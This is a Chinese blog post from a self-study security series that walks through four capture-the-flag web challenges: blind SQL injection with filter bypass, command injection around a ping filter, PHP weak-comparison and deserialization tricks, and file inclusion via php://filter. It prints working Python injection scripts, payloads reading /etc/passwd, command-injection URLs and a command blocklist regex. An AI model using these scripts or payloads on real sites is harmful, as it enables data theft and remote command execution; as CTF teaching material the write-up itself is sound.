这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了Windows PE病毒, 包括PE病毒原理、分类及感染方式详解,并通过案例进行介绍。这篇文章将介绍WHUCTF部分题目,第一次参加CTF,还是能学到很多东西。下面分享四个我完成的WEB类型题目的解题过程,希望对您有所帮助。本来感觉能做出6道题目,但有两道题卡在某个点,后面几天忙于其他事情,就没再参加。人生路上,要珍惜好每一天与家人陪伴的日子。感谢武汉大学,感谢网安学院,感谢这些大佬和师傅们(尤其出题和解题的老师们)~
作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~
PS:本文参考了《软件安全》视频、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。
作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
XSS案例:https://github.com/eastmountyxz/XSS-Experiment
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
[网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
[网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
[网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
[网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
[网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
[网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
[网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
[网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)
[网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)
[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包
网址: http://218.197.154.9:10011/login.php
考点: SQL注入
主界面显示如下图所示:
核心代码如下,采用POST提交请求。
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Logintitle>
<link rel="stylesheet" href="./Login_files/login.css">
<link rel="stylesheet" href="./Login_files/font-awesome.css">
head>
<body>
<div id="login-box">
<h1>Sign Uph1>
<div class="form">
<form action="http://218.197.154.9:10011/login.php#" onsubmit="return check(this)" method="post" accept-charset="utf-8">
<div class="item">
<i class="fa fa-user-circle" aria-hidden="true">i>
<input type="text" name="user" placeholder="Username">
div>
<div class="item">
<i class="fa fa-key" aria-hidden="true">i>
<input type="text" name="pass" placeholder="Password">
div>
<button type="submit">Loginbutton>
form>
div>
div>
<div>
<script type="text/javascript">
function check(form) {
if(form.user.value == "") {
alert("Username could not be empty!");
form.user.focus();
return false;
}
if(form.pass.value == "") {
alert("Password could not be empty!");
form.pass.focus();
return false;
}
return true;
}
script>
div>
body>html>
(1) 首先,该题仅一个登陆页面,首先想到的是万能密码登录,比如admin、‘or’=‘or’ 等。
当我们输入admin提示登录失败,并且反馈SQL语句。
Your sql statement is: SELECT password FROM users WHERE username='admin' AND password='admin'
当我们输入 ‘or’=’ 提示登录成功,但没有跳转下一个界面而直接返回登录界面,同时返回的SQL语句看到or被屏蔽了。此时,可能部分同学会疑惑明明登录成功,怎么没返回flag呢?这里并没有成功了。
Your sql statement is: SELECT password FROM users WHERE username=''''='' AND password=''''=''
同时,尝试用户名和密码拼接绕过也没成功。
'or'=' union SELECT 1,database()
'or'='/**/union/**/select/**/1,database()
'oorr'=' union seselectlect 1,database()
这里推荐两篇常规的SQL注入文章:
(2) 作者遇到网站都喜欢扫描目录和端口,但这里也没有好的信息。同时,采用SQLMAP扫描也没有什么成功,如下图所示。
(3) 当SQLMAP等工具不能使用时,我们需要通过手工找到注入点或进行注入,这里补充一种非常使用的方法,通过Python发送数据包来反弹数据库、表、字段和用户名及密码。
import requests,urllib
import math
from urllib.parse import quote_plus
#代理配置
proxies = {
'http': 'http://127.0.0.1:8888',
'https': 'http://127.0.0.1:8888'
}
proxies = None
#设置消息头
reqHeaders = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en,en-US;q=0.8,zh-CN;q=0.5,zh;q=0.3',
'Accept-Encoding': 'gzip, deflate, br'
}
postHeaders = reqHeaders.copy()
postHeaders['Referer'] = 'http://218.197.154.9:10011/login.php'
postHeaders['Content-Type'] = 'application/x-www-form-urlencoded'
#定义网址
url = 'http://218.197.154.9:10011/login.php'
"""发送POST数据"""
#数据库名
postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')
print(postStr)
#设置请求
reqSess = requests.session()
#reqSess.cookies.set('JSESSIONID','87B415C3E689651FF292DA16B32AB3EF')
#Current Bit & Max Bits
cb, mb = 1,4096
#采用二分查重匹配字符串
stillLeft = True
while cb < mb and stillLeft:
#ascii of start,middle and end
s,m,e = 0,0,255
while s < e:
sqliStr = postStr.format(cb,m)
print(sqliStr)
postHeaders['Content-Length']= str(len(postStr))
#print(postHeaders)
currentFailedTimes,maxFailedTimes = 0,10
while currentFailedTimes < maxFailedTimes:
try:
rst = reqSess.post(url,sqliStr,headers=postHeaders,
proxies=proxies,allow_redirects=False,verify=False)
break
except Exception as ex:
if currentFailedTimes > 5:
print('[X]Failed Times:%d'%(currentFailedTimes))
currentFailedTimes += 1
if currentFailedTimes == maxFailedTimes:
exit("Too Much Errors,Going To Stop")
#result is true
if 'Login success' in rst.text:
#print("[v]{}:{}->{}->{}".format(cb,s,m,e))
if e - 1 == m:
m = e
break
s = m
else:
#print("[x]{}:{}->{}->{}".format(cb,s,m,e))
#even > 0 is error,no bits left
if m == 0:
stillLeft = False
break
if e - 1 == m:
break
e = m
m = s + math.ceil((e - s)/2)
if not m == 0:
print(chr(m),end='\n')
cb += 1
输出结果如下图所示,通过二分查找获取数据库database()第一位是e,最终获取数据库名称。核心代码如下:
postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')
对应的SQL语句为:
SELECT password FROM users WHERE username=‘aa’ or substr(database(),1,1)>64 –’ AND password=’’
简单修改代码,把中间输出的值注释掉,并输出的字符串拼接在一起,最终输出结果如下图所示,数据库为easy_sql1。
postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct')
输出结果如下:
postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
输出结果如下,包括f1ag_y0u_wi1l_n3ver_kn0w、users。
postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
输出结果如下,这些用户名和密码均能登录,但登录成功后仍会返回界面。
postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
输出结果如下,字段为f111114g。
postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
输出结果如下,并获取flag值。
题目+实战总结:
完整代码:
import requests,urllib
import math
from urllib.parse import quote_plus
#代理配置
proxies = {
'http': 'http://127.0.0.1:8888',
'https': 'http://127.0.0.1:8888'
}
proxies = None
#设置消息头
reqHeaders = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en,en-US;q=0.8,zh-CN;q=0.5,zh;q=0.3',
'Accept-Encoding': 'gzip, deflate, br'
}
postHeaders = reqHeaders.copy()
postHeaders['Referer'] = 'http://218.197.154.9:10011/login.php'
postHeaders['Content-Type'] = 'application/x-www-form-urlencoded'
#定义网址
url = 'http://218.197.154.9:10011/login.php'
"""发送POST数据"""
#数据库名
postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')
#系统密码
postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct')
#获取表名
postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#f1ag_y0u_wi1l_n3ver_kn0w,users
#用户名和密码
postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#Dumb+Dumb,Angelina+I-kill-you,Dummy+p@ssword,secure+crappy,stupid+stupidity
#获取f1ag字段
postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#f111114g
#获取对应值
postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#WHUCTF{r3lly_re11y_n0t_d1ffIcult_yet??~}
print(postStr)
#设置请求
reqSess = requests.session()
#reqSess.cookies.set('JSESSIONID','87B415C3E689651FF292DA16B32AB3EF')
#Current Bit & Max Bits
cb, mb = 1,4096
#采用二分查重匹配字符串
stillLeft = True
while cb < mb and stillLeft:
#ascii of start,middle and end
s,m,e = 0,0,255
while s < e:
sqliStr = postStr.format(cb,m)
#print(sqliStr)
postHeaders['Content-Length']= str(len(postStr))
#print(postHeaders)
currentFailedTimes,maxFailedTimes = 0,10
while currentFailedTimes < maxFailedTimes:
try:
rst = reqSess.post(url,sqliStr,headers=postHeaders,
proxies=proxies,allow_redirects=False,verify=False)
break
except Exception as ex:
if currentFailedTimes > 5:
print('[X]Failed Times:%d'%(currentFailedTimes))
currentFailedTimes += 1
if currentFailedTimes == maxFailedTimes:
exit("Too Much Errors,Going To Stop")
#result is true
if 'Login success' in rst.text:
#print("[v]{}:{}->{}->{}".format(cb,s,m,e))
if e - 1 == m:
m = e
break
s = m
else:
#print("[x]{}:{}->{}->{}".format(cb,s,m,e))
#even > 0 is error,no bits left
if m == 0:
stillLeft = False
break
if e - 1 == m:
break
e = m
m = s + math.ceil((e - s)/2)
if not m == 0:
print(chr(m),end='')
cb += 1
最后补充武大CTF师傅的WP代码,推荐大家学习。
import requests
import string
res = requests.session()
url = 'http://218.197.154.9:10011/login.php'
flag = ''
for j in range(1,200):
for i in string.printable:
# payload = "admin' and if(((substr((seselectlect database()),{},1))='{}'),1,2)=1#".format(j,i)
# payload = "admin' and if((substring((seleselectct database()),{},1)='{}'),1,2)=1#".format(j,i)
# easy_sql1
# payload = "admin' and if((substring((selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()),{},1)='{}'),1,2)=1#".format(j,i)
# f1ag_y0u_wi1l_n3ver
# payload = "admin' and if((substring((selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'f1ag_y0u_wi1l_n3ver_kn0w'),{},1)='{}'),1,2)=1#".format(j,i)
# payload = "admin' and if((substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1)='{}'),1,2)=1#".format(j,i)
# payload = "admin' and if(ascii(substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1))=ascii('{}'),1,2)=1#".format(j,i)
data = {
"user" : payload,
"pass" : 1
}
content = res.post(url,data=data)
result = content.text
# print(result)
#
if 'success' in result:
flag += i
print(flag)
break
网址: http://218.197.154.9:10011/login.php
考点: CMD命令绕过
主界面显示如下图所示:
题目代码如下:
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("no space!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("no flag");
} else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){
die("cat't read flag");
}
$a = shell_exec("ping -c 4 ".$ip);
echo ""
;
print_r($a);
}
highlight_file(__FILE__);
?>
看到这类题目,首先想到的是命令执行方法利用管道符或者分号,然后再层层绕过。该题目有三处限制:不能有空格、不能有flag字样,不能有cat等命令。
(1) 利用ip本地地址和ls命令查看目录下文件。
结果:我们看到了flag.php和index.php文件。
(2) 接着想办法利用cat命令读取flag.php内容。
结果:提示我们不能使用空格。同时 /tac|rm|echo|cat|nl|less|more|tail|head 读取指令被ban,需要想办法进行绕过。当提示空格被ban,我们可以利用下面的方法进行绕过。
(3) 绕过空格利用cat读取flag文件。
注意:如果cat被禁用,我们需要使用tac反向输出命令,linux命令中可以加\,甚至可以ca\t /fl\ag。
结果:此时提示no flag。
(4) PHP源代码中发现一个变量a,想办法覆盖这个变量,下面代码相当于cat flag.php。
http://218.197.154.9:10016/?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php
此时输出结果如下:PING 127.0.0.1 (127.0.0.1): 56 data bytes,最终在注释部分看到flag值。
题目+实战总结:
?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php
同时给出另两位师傅的绕过payload。
#方法1
?ip=127.0.0.1;a=g;ca$@t$IFS$1fla$a.php
#方法2
url='http://218.197.154.9:10016?ip=127.0.0.1;ls$IFS-l;b=c;n=a;m=t;o=g;p=a;q=l;r=f;s=i;$b$n$m$IFS$r$q$p$o.php'
r =requests.get(url)
print(r.text)
推荐及参考文章:
网址: http://218.197.154.9:10015/
考点: PHP代码审计
主界面显示如下图所示:
核心代码如下:
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];
//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
echo '1st ok'."
";
}
else{
die('会代码审计嘛23333');
}
//2nd
if(is_numeric($string_1)){
$md5_1 = md5($string_1);
$md5_2 = md5($string_2);
if($md5_1 != $md5_2){
$a = strtr($md5_1, 'pggnb', '12345');
$b = strtr($md5_2, 'pggnb', '12345');
if($a == $b){
echo '2nd ok'."
";
}
else{
die("can u give me the right str???");
}
}
else{
die("no!!!!!!!!");
}
}
else{
die('is str1 numeric??????');
}
//3nd
function filter($string){
return preg_replace('/x/', 'yy', $string);
}
$username = $_POST['username'];
$password = "aaaaa";
$user = array($username, $password);
$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');
}
会代码审计嘛23333
本题建议大家本地搭建环境进行测试,这个题目分为三段绕过测试。
(1) 第一段绕过。
首先num值不等于23333,同时preg_match()函数匹配正则表达式,这里使用%0A做截断,通过换行绕过preg_match函数。
(2) 第二段绕过。
传入string_1和string_2并计算md5值,然后要求md5值不相等;再通过strtr()函数将“pggnb”替换成“12345”,替换后的两个值要求相等,这里通过PHP弱类型比较漏洞绕过。
PHP在处理哈希字符串时,会利用 != 或 == 来对哈希值进行比较,它把每一个以"0E"开头的哈希值都解释为0,如果两个不同的密码经过哈希以后,其哈希值都是以"0E"开头,那么PHP将会认为他们相同都是0。
解决方法参考52hertz和Ly-sec-l大佬的文章!
在PHP弱类型中,0e+数字类型使用==会被认为相等,故:
这里我们需要让str1经过md5后以0e开头,后面只包含pggnb中一个或多个的字母,其余是数字,这样一替换就都是0e造成PHP弱类型的绕过。下列的Python代码还是获取str1含有字母的md5加密值。
import hashlib
import re
import random
import requests
# 11230178
def md5():
global dict_az
dict_az = 'abcdefghijklmnopqrstuvwxyz'
i = 0
while True:
result = ''
result += str(i)
i = i + 1
hashed_s = hashlib.md5(result.encode('utf-8')).hexdigest()
r = re.match('^0e[0-9pggnb]{30}', hashed_s)
if r:
print("[+] found! md5( {} ) ---> {}".format(result, hashed_s))
exit(0)
if i % 1000000 == 0:
print("[+] current value: {} {} iterations, continue...".format(result, str(i)))
md5()
运行结果为11230178,md5值为0e732639146814822596b49bb6939b97,替换后就为纯数字。
此时构造的Payload如下,成功绕过第二关。
(3) 第三段绕过。
通过filter进行字符替换,unserialize进行反序列化处理。这里主要利用PHP反序列化中的字符逃逸。
PHP在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。比如在一个正常的反序列化的代码输入 a:2:{i:0;s:6:“peri0d”;i:1;s:5:“aaaaa”;} 会得到如下结果,包含两个值。同时,如果换成 a:2:{i:0;s:6:“peri0d”;i:1;s:5:“aaaaa”;}i:1;s:5:“aaaaa”; 仍然是下面的结果。
class Test{
public $test;
}
$s1 = 'a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}';
var_dump(unserialize($s1));
echo '
';
$s2 = 'a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
var_dump(unserialize($s2));
?>
这道题目的代码将x替换为yy,如果把username换成peri0dxxx ,其处理后的序列化结果为 a:2:{i:0;s:9:“peri0dyyyyyy”;i:1;s:5:“aaaaa”;} 。这个时候肯定会反序列化失败的,因为 s:9:“peri0dyyyyyy” 比以前多了 3 个字符,这就需要继续增加填充字符实现了密码的修改。
解决方法:
通过构造 a:2:{i:0;s:5:“admin”;i:1;s:6:“123456”;}";i:1;s:5:“aaaaa”;} 将字符串闭合并控制第二个元素为123456,但存在长度问题,故添加字符串为 admin";i:1;s:6:“123456”;},长度为20,因此我们构造20个x,xxxxxxxxxxxxxxxxxxxx";i:1;s:6:“123456”;},这样x就会被替换成yy,我们就多了20个位置,把我们的 payload 挤出去,就刚好可以闭合了。
最终Payload:
import requests
from urllib.parse import quote_plus
url = "http://218.197.154.9:10015/?num=23333%0A&str1=11230178&str2=QNKCDZO"
data = {'username':'xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'}
res = requests.post(url=url,data=data)
print(res.text)
f = open("test0523.txt","w")
f.write(res.text)
f.close()
flag输出结果如下:
题目+实战总结:
推荐及参考文章:
网址: http://218.197.154.9:10017/
考点: 文件包含漏洞inlude
主界面显示如下图所示:
contact.php核心代码如下:
<form action="thankyou.php">
<label for="fname">First Namelabel>
<input type="text" id="fname" name="firstname" placeholder="Your name..">
<label for="lname">Last Namelabel>
<input type="text" id="lname" name="lastname" placeholder="Your last name..">
<label for="country">Countrylabel>
<select id="country" name="country">
<option value="australia">Australiaoption>
<option value="britain">Britainoption>
<option value="canada">Canadaoption>
<option value="usa">USAoption>
<option value="other">Otheroption>
select>
<label for="subject">Subjectlabel>
<textarea id="subject" name="subject" placeholder="Write something.." style="height:200px">textarea>
<input type="submit" value="Submit">
form>
这道题在contact.php页面有表单提交的选项,提交至thankyou.php页面,通过URL参数及题目提示文件包含,我们尝试往文件包含漏洞渗透。
什么是文件包含漏洞呢?
通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。PHP中常见的文件包含函数有以下四种:include()、require()、include_once()、require()_once()。
(1) 首先,我们提交正常的信息,看看反馈结果。
反馈结果如下图所示:
(2) 通过参数file读取信息,验证该参数可用。
Linux获取信息常用方法:
- /etc/passwd //账户信息
- /etc/shadow //账户密码文件
- /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
- /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
- /usr/local/app/php5/lib/php.ini //PHP相关配置
- /etc/httpd/conf/httpd.conf //Apache配置文件
- /etc/my.conf //mysql配置文件
尝试file参数其他方式获取信息,但提示include()没有该目录。
(3) 利用php://filter获取指定文件源码。
当php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。
提示警告信息“Warning: include(): unable to locate filter “resource=flag.php” in /var/www/html/thankyou.php on line 44”。
(4) 直接读flag.php文件大多数情况会无法显示信息在浏览器页面上,所以需要将文件内容进行base64编码后显示在浏览器上,再自行解码。
(5) 在线base64解密,网址:https://tool.oschina.net/encrypt?type=3
题目+实战总结:
大家可以在本地利用下列代码进行实验。
<meta charset="utf8">
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo 'tips';
}
?>
推荐及参考文章:
写到这里,这篇文章就介绍完毕,希望对您有所帮助。学安全近一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。最后还是那句话,人生路上,好好享受陪伴家人的日子,那才是最幸福的事情,爱你~
欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。
(By:Eastmount 2020-05-29 下午6点写于贵阳 http://blog.csdn.net/eastmount/ )